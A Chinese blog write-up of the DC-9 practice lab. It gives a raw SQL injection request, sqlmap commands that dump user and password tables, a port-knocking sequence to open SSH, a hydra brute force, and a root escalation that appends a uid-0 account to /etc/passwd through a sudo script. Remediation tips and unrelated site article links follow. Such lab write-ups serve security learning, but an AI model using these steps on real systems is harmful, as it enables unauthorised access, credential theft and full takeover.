DC-9渗透测试复现

DC-9渗透测试复现

目的:

获取最高权限以及flag

过程:

信息打点--sql注入- 文件包含漏洞-Knockd开门开启ssh连接-hyjra爆破-sudo提权(文件追加)

环境:

攻击机:kali(192.168.85.137)

靶机:DC_3(192.168.85.141)

复现:
一.信息收集

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

 发现主机之后 继续扫描端口 发现80网页端口和22端口 但是status为被过滤的

服务器为apache 2.4.38 并没有看到cms

AWVS 扫描发现sql注入漏洞

EXP: 

POST /results.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://192.168.85.141/

Cookie: PHPSESSID=bup6qprsevlk7mded0vpt3bgcf

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

Content-Length: 55

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36

Host: 192.168.85.141

Connection: Keep-alive



search=-1'%20OR%203*2*1=6%20AND%20000660=000660%20--%20
二.漏洞利用

然后sqlmap一把梭

sqlmap -r 'dcp.txt' --batch --current-db

得到库名 Staff

 

 

sqlmap -r 'dcp.txt' --batch -D Staff -T Users -C 'UserID,Username,Password' --dump

得到admin的账号密码 

1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc

解密得到 admin /transorbital1

 

ssh连接失败

登入进去 发现有个添加用户的功能 测试后发现没有什么利用的点 有一些用户泄露的信息,然后发现下面这个  这不妥妥的文件包含吗

测试发现确实存在文件读取漏洞

原来没有admin用户 怪不得ssh连不上

服务器是Apache,也找不到Apache配置文件的位置..,尝试写webshell 但不知道webshell的文件路径

但是这些账号密码又是之前信息收集的那些用户名

但是又不能ssh连接 但开启22端口

状态为 filtered  而不是open 那我们就搜一下filtered 估计是被隐藏了 搜索发现很可能是Knockd隐藏

通过Knockd隐藏SSH,让黑客看不见你的服务器 - 知乎 (zhihu.com)

cat下Knockd的配置/etc/knockd.conf

[options]

UseSyslog//用来定义日志输出位置以及文件名

[openSSH]

sequence    = 7469,8475,9842//设置(开门)敲门顺序,可以自定义

seq_timeout = 25//设置超时时间

command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//开门成功后添加防火墙规则命令(打开SSH端口)

tcpflags    = syn

[closeSSH]
sequence    = 9842,8475,7469 //设置(关门)敲门顺序,与开门顺序相反

seq_timeout = 25
command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//关门成功后删除之前添加的防火墙规则(关闭SSH端口)

tcpflags    = syn

接下来我们用nmap进行敲门

for x in 7469 8475 9842; do nmap -p $x 192.168.85.141; done

成功开启22

问题是账号密码呢 当时库里面只有admin啊 那估计就是库名的问题,我们重新看一下dbs 因为之前爆破的是current-db 所以估计有遗漏

重新扫描发现存在user库 这就是前期信息收集没收全的后果

得到账号密码

sqlmap -u "http://192.168.85.141/results.php" -data "search=1" -D users -T UserDetails -dump

 

| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |

| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |

| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |

| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |

| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |

| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |

| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |

| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |

| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |

| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |

| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |

| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |

| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |

| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |

| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |

| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |

| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     

账号密码这么多 那不可能一个个测呗 直接上hydra了,账号保存为username.txt  密码保存为password.txt

hydra -L username.txt -P password.txt 192.168.85.141 ssh -t 30

得到三组账号密码

chandlerb UrAG0D!

joeyt Passw0rd

janitor Ilovepeepee

 

前面两个经过测试没有有用的信息 我们直接看第三个

看看有木有什么能够提权的函数

linux版本为4.9那chfn和chsh提权就使用不了了

尝试sudo -l 也不行 那估计得换用户了


继续收集信息

看一下隐藏文件 然后发现一个secrets 进入访问得到一些新的密码 我们加入到之前的password.txt 继续进行hydra工具进爆破

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

最终得到 新的用户密码fredf : B4-Tru3-001

我们进行登入

看下sudo提权

没啥利用的啊看起来 看了test全是乱码

 

回到上级目录继续查看 发现py文件


i

import sys

if len (sys.argv) != 3 :

    print ("Usage: python test.py read append")

    sys.exit (1)

else :

    f = open(sys.argv[1], "r")

    output = (f.read())

    f = open(sys.argv[2], "a")

    f.write(output)

    f.close()

这段代码根据命令行参数,读取一个文件的内容,并将其追加到另一个文件中。如果命令行参数不符合要求,将打印出用法信息。

三.提权

按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/wenda 里,再脚本追加写入 /etc/passwd 里。 所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存

使用openssl工具创建一个本地的加密用户,命令

openssl passwd -1 -salt admin admin

 

$1$admin$1kgWpnZpUx.vTroWPXPIB0

 然后把它按照passwd的格式送到 /tmp/wenda 

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/wenda

使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

sudo ./test /tmp/wenda /etc/passwd

 

然后我们切换成admin 用户就变成root权限获得flag 

修复: 

1.关闭22ssh连接端口

2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞

3.关闭LFI等防止文件包含漏洞

4.取消能够提取的shell命令

DC-系列总结:

差不多10天的时间终于把DC系列刷完 ,收获还是蛮多的 渗透流程的话 前期信息收集太重要了,这个方面可以借助一些工具 像NMAP AWVS等工具或者框架识别插件都额可以 ,然后利用这些信息进行下一步的渗透,比如有没有现成的漏洞库去利用 百度 谷歌 以及kali自带的漏洞库都能去收集,发现漏洞后就是要控制对方主机了 ,然后继续收集信息 进一步提权.

下一步计划是准备进行红日的更深层的内网渗透 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/552519.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GPT状态和原理 - 解密OpenAI模型训练

目录 1 如何训练 GPT 助手 1.1 第一阶段 Pretraining 预训练 1.2 第二阶段:Supervised Finetuning有监督微调 1.3 第三阶段 Reward Modeling 奖励建模 1.4 第四阶段 Reinforcement Learning 强化学习 1.5 总结 2 第二部分:如何有效的应用在您的应…

【Linux】Linux信号

目录 信号的概念 生活中的信号 Linux中的信号 kill命令 kill 命令的使用 常见的信号 命令行代码示例 注意事项 信号的处理方式 产生信号 信号的捕捉 信号捕捉示意图 内核如何实现信号捕捉 信号的捕捉与处理 小结 阻塞信号 信号在内核中的表示图 信号集操作函数…

如何学习嵌入式Linux?

如何去学习嵌入式 Linux 呢?嵌入式底层开发毫无疑问是一项极为关键重要的技术,其被广泛地应用于形形色色的嵌入式系统之中。伴随科技的迅猛飞速发展,嵌入式系统已然成为了我们生活中不可或缺的一个组成部分,这也极为凸显出了嵌入式…

基于 Bazel 的 iOS Monorepo 工程实践

在之前很长一段时间里,哔哩哔哩 iOS 工程是使用 Polyrepo(或者说 Multirepo,即多仓库)的传统模式进行开发。但是随着业务的发展,我们的代码仓库的数量也随之膨胀,我们慢慢发现 Polyrepo 模式并不一定是适合…

DDoS攻击愈演愈烈,谈如何做好DDoS防御

DDoS攻击是目前最常见的网络攻击方式之一,各种规模的企业包括组织机构都在受其影响。对于未受保护的企业来讲,每次DDoS攻击的平均成本为20万美元。可见,我们显然需要开展更多的DDoS防御工作。除考虑如何规避已发生的攻击外,更重要…

手机副业赚钱秘籍:让你的手机变成赚钱利器

当今社会,智能手机已然成为我们生活不可或缺的一部分。随着技术的飞速进步,手机不再仅仅是通讯工具,而是化身为生活伴侣与工作助手。在这个信息爆炸的时代,我们时常会被一种焦虑感所困扰:如何能让手机超越消磨时光的定…

关于Git的一些基础用法

关于Git的一些基础用法 1. 前言2. 使用GitHub/gitee创建项目2.1 创建账号2.2 创建项目2.3 下载仓库到本地2.4 提交代码到远端仓库2.5 查看日志2.6 同步远端仓库和本地仓库 1. 前言 首先说一个冷知识(好像也不是很冷),Linux和git的创始人是同…

CC254X 8051芯片手册介绍

1 8051CPU 8051是一种8位元的单芯片微控制器,属于MCS-51单芯片的一种,由英特尔(Intel)公司于1981年制造。Intel公司将MCS51的核心技术授权给了很多其它公司,所以有很多公司在做以8051为核心的单片机,如Atmel、飞利浦、深联华等公…

C++:类型转换

目录 1、C语言中的类型转换 2、C的四种类型转换 2.1 static_cast 2.2 reinterpret_cast 2.3 const_cast 2.4 dynamic_cast 3 RTTI 1、C语言中的类型转换 如果 赋值运算符左右两侧类型不同,或者形参与实参类型不匹配,或者返回值类型与 接收返回值…

TexStudio + MikTex 手动安装宏包

遇到上面这个 “宏包安装” 提示窗口后,设置来源为本地,随后在这个网址 https://mirrors.ustc.edu.cn/CTAN/systems/win32/miktex/tm/packages/ 下载所需的宏包,放到本地仓库里,即可 有三个宏包是必须要有的,它们是索…

上下文输入无限制,谷歌发布Infini-Transformer

去年,百川智能发布号称全球最长的上下文窗口大模型Baichuan2-192K,一次性可输入35万字,超越GPT-4。 今年3月,Kimi智能助手宣布在上下文窗口技术上突破200万字。 紧追其后,国内各大互联网巨头纷纷布局升级自家大模型产…

JAVA基础08- 继承,重写,super以及this

目录 继承(extends) 定义 说明 作用 方法的重写 定义 重写关键点 方法重写与重载的区别 练习 练习1(方法继承与重写的简单练习) 练习2(方法继承与重写的进阶练习) This的使用 定义 作用以及注…

Postman之版本信息查看

Postman之版本信息查看 一、为何需要查看版本信息?二、查看Postman的版本信息的步骤 一、为何需要查看版本信息? 不同的版本之间可能存在功能和界面的差异。 二、查看Postman的版本信息的步骤 1、打开 Postman 2、打开设置项 点击页面右上角的 “Set…

MyBatis 源码分析 - SQL 的执行过程

MyBatis 源码分析 - SQL 的执行过程 * 本文速览 本篇文章较为详细的介绍了 MyBatis 执行 SQL 的过程。该过程本身比较复杂,牵涉到的技术点比较多。包括但不限于 Mapper 接口代理类的生成、接口方法的解析、SQL 语句的解析、运行时参数的绑定、查询结果自动映射、延…

基于SpringBoot+Vue的二手车交易系统的设计与实现(源码+文档+包运行)

一.系统概述 如今社会上各行各业,都喜欢用自己行业的专属软件工作,互联网发展到这个时候,人们已经发现离不开了互联网。新技术的产生,往往能解决一些老技术的弊端问题。因为传统二手车交易信息管理难度大,容错率低&…

Connection: keep-alive 简介

一、在使用fiddler抓包工具会出现如下场景 二、keep-alive 保持连接 "Connection: keep-alive" 是 HTTP 协议中的一个头部字段,用于指示客户端和服务器之间的连接是否保持活跃状态。 当客户端发送一个 HTTP 请求给服务器时,可以在请求头部中包…

阿里云4核8G云服务器价格多少钱?700元1年

阿里云4核8G云服务器价格多少钱?700元1年。阿里云4核8G服务器租用优惠价格700元1年,配置为ECS通用算力型u1实例(ecs.u1-c1m2.xlarge)4核8G配置、1M到3M带宽可选、ESSD Entry系统盘20G到40G可选,CPU采用Intel(R) Xeon(R…

储能系统--BMS电流采样详解

一、行业标准介绍 汽车电池管理系统 储能电池管理系统 二、BMS电流采样 (1)电流采样的作用 电流传感器一般会位于动力电池系统主正或主副回路测量整个电池包的电流,电流信号会送到BMS,给BMS做充放电控制,电池SOC、SO…

pip安装swig@FreeBSD

SWIG (Simplified Wrapper and Interface Generator) 是一个用于连接 C/C 代码与其他高级编程语言(如Python、Java、C# 等)的工具。它允许开发人员将现有的 C/C 代码封装成可以在其他语言中调用的接口,而无需手动编写大量的代码。 SWIG 的工…

编程入门(三)【GPT工具的使用】

读者大大们好呀!!!☀️☀️☀️ 🔥 欢迎来到我的博客 👀期待大大的关注哦❗️❗️❗️ 🚀欢迎收看我的主页文章➡️寻至善的主页 文章目录 前言背景了解GPT工具使用技巧GPT工具在学习和工作中的应用 前言 背景了解 2…